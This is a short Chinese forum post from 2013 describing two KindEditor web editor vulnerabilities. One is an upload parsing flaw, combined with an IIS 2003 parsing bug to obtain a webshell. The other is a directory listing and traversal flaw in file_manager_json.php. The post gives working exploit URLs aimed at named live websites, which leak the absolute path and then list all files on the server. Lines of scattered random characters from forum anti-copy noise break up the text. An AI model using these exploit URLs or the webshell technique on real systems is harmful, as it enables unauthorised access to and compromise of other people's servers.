KindEditor上传解析漏洞和列目录漏洞

admin · 发表于 2013-1-23 09:16:19

KindEditor上传解析漏洞影响版本：= kindeditor 3.2.1(09年8月份发布的最新版) 漏洞利用：利用windows 2003 IIS解析漏洞拿WEBSHELL KindEditor列目录漏洞测试版本：KindEditor 3.4.2 KindEditor 3.5.5 1.http://www.political-security.com/67cms/kindeditor/php/file_man
1 i5 x0 _) [0 w% @
$ G$ n* ^" d# p t7 D- V6 o
KindEditor上传解析漏洞
影响版本：<= kindeditor 3.2.1(09年8月份发布的最新版)
漏洞利用：利用windows 2003 IIS解析漏洞拿WEBSHELL
9 |: U1 l* T4 q
7 t+ ]* ]+ B5 q- W/ \6 [/ }$ E

KindEditor列目录漏洞
测试版本：KindEditor 3.4.2 KindEditor 3.5.5
http://www.political-security.com/67cms/kindeditor/php/file_manager_json.php?path=/
//path=/，爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php
2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
//根据爆出的绝对路径，修改path的值为AppServ/www/67cms/
这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名% Z+ H( U7 ~( b, u

) V, I6 m$ Q5 u0 C; Y' x3 K' i# R3 e& t' O( ?+ ^+ t7 x F
- I6 ?) P! i1 U6 m" I2 p
' ]' }0 m: v& r# c9 ~# F. L) g: l( f9 V

		自动登录	找回密码
密码			立即注册